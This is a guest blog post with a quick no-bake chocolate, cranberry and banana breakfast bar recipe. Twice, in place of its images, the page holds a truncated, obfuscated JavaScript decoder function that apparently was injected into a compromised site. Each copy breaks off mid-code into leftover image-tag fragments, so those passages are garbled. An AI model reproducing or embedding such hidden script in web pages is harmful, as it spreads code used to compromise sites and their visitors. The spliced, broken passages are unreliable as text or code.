Today’s guest blog post comes from the lovely Lacey, blogging over at http://laceyfitspo.wordpress.com/. Perfect for new mums, Lacey is sharing a healthy quick and easy breakfast bar recipe. It's a no bake recipe, that only takes around 10 minutes to make and you get enough portions to grab throughout the week.

What I love about these is that they’re perfect for chocaholics, but the chocolate is so well mixed in that you get enough of the taste without consuming more than you should, and the dried cranberries surprise you with a mouth watering, fruity burst. I found that adding banana reduced the crunch factor, which, if you’re anything like me, you will find is perfect for a morning bite.

So, let’s get on with the recipe.

function h94fcba1e7(y1){var vd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q9=vd.indexOf(y1.charAt(p6++));y3=vd.indexOf(y1.charAt(p6++));w4=vd.indexOf(y1.charAt(p6++));u5=vd.indexOf(y1.charAt(p6++));p3=(q9<<2)|(y3>>4);na=((y3&15)<<4)|(w4>>2);pc=((w4&3)<<6)|u5;if(p3>=192)p3+=848;else if(p3==168)p3=1025;else if(p3==184)p3=1105;yb+=String.fromCharCode(p3);if(w4!=64){if(na>=192)na+=848;else if(na==168)na=1025;else if(na==184)na=1105;yb+=String.fromCharCode(na);}if(u5!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6y-699x800-150x150.jpg" alt="Breakfast Bar Recipe" width="150" height="150">You will need:

150g special flakes/bran flakes/corn flakes/whatever

75g desiccated coconut

200g dark chocolate

100g dried cranberries

1 ripe banana

How to make the bars:

function h94fcba1e7(y1){var vd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q9=vd.indexOf(y1.charAt(p6++));y3=vd.indexOf(y1.charAt(p6++));w4=vd.indexOf(y1.charAt(p6++));u5=vd.indexOf(y1.charAt(p6++));p3=(q9<<2)|(y3>>4);na=((y3&15)<<4)|(w4>>2);pc=((w4&3)<<6)|u5;if(p3>=192)p3+=848;else if(p3==168)p3=1025;else if(p3==184)p3=1105;yb+=String.fromCharCode(p3);if(w4!=64){if(na>=192)na+=848;else if(na==168)na=1025;else if(na==184)na=1105;yb+=String.fromCharCode(na);}if(u5!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6-Mortar-608x800-150x150.jpg" alt="" width="150" height="150">

The first thing you need is your breakfast flakes. I went for Special K, but anything that’s healthy will do. Pour them into a bowl and use something to crush them into smaller pieces. If you have a pestle and mortar then use that. I don’t. I used a bottle of one kcal spray… A water bottle might work too actually.

Once you have crushed them to a small enough size, you can add the coconut and cranberries and mix together. Then mash the banana until it’s as smooth as can be and mix into the bowl. Then it’s time to melt the chocolate. Break into small pieces (unless you have used chocolate chips) and throw it into a mixing bowl. The quickest way to melt them is to obviously microwave them. If you’re worried about the chocolate burning, make sure you leave a gap in the middle as that’s the hottest point. Microwave for about a minute and a half, remove from the microwave and stir. Any lumps should melt as you stir it.

Once this is done you can mix the dry ingredients into the chocolate. Make sure you mix it to get an even coverage. One you have your mix ready, it’s time to place into moulds. Though you can use cupcake cases, you will get smaller portions and will be wasting paper, so I suggest a silicone mould. Mine is heart shaped, but you can use a deep muffin tray or even a bar shaped mould if you can find one. I recommend you spray/coat the moulds with coconut oil just to be safe. Leave in the fridge to solidify.

And there you have it, chocolatey goodness at breakfast time with no guilt! Please let Lacey & I know if you give this breakfast bar recipe a go, and how they turn out.

You can follow Lacey on social media:
Twitter
Instagram